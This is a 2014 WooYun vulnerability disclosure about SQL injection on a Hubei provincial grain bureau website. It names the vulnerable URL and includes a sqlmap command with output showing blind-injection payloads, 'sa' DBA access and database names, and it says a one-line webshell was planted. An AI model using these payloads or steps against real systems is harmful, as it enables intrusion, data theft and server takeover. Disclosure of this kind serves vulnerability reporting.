当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080064

漏洞标题:湖北省粮食局 SQL注入(已getshell)

相关厂商:cncert国家互联网应急中心

漏洞作者: 小饼仔

提交时间:2014-10-21 10:23

修复时间:2014-12-05 10:24

公开时间:2014-12-05 10:24

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-21: 细节已通知厂商并且等待厂商处理中
2014-10-25: 厂商已经确认,细节仅向厂商公开
2014-11-04: 细节向核心白帽子及相关领域专家公开
2014-11-14: 细节向普通白帽子公开
2014-11-24: 细节向实习白帽子公开
2014-12-05: 细节向公众公开

简要描述:

~~~

详细说明:

注入点:

http://www.hblsj.gov.cn/ShowVote.aspx?VoteID=7


sqlmap:

python sqlmap.py -u "http://www.hblsj.gov.cn/ShowVote.aspx?VoteID=7" --is-dba --dbs --current-db --current-user --threads 10 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: VoteID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: VoteID=7 AND 9678=9678
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: VoteID=-5069 OR 6576=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current user: 'sa'
current database: 'hblsj'
current user is DBA: True
available databases [10]:
[*] hblsj
[*] jdgl
[*] jdgl1
[*] lsj
[*] master
[*] model
[*] msdb
[*] temp
[*] tempdb
[*] ycjc
[23:03:14] [INFO] fetching tables for database: hblsj
[23:03:14] [INFO] fetching number of tables for database 'hblsj'
[23:03:14] [INFO] retrieved: 37
[23:05:45] [INFO] retrieved: dbo.D99_CMD
不全列出来了


一句话木马:

hbslsj一句话.png


mask 区域
*****^ x*****

漏洞证明:

修复方案:

你懂得

版权声明:转载请注明来源 小饼仔@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-10-25 23:50

厂商回复:

最新状态:

暂无


漏洞评价:

评论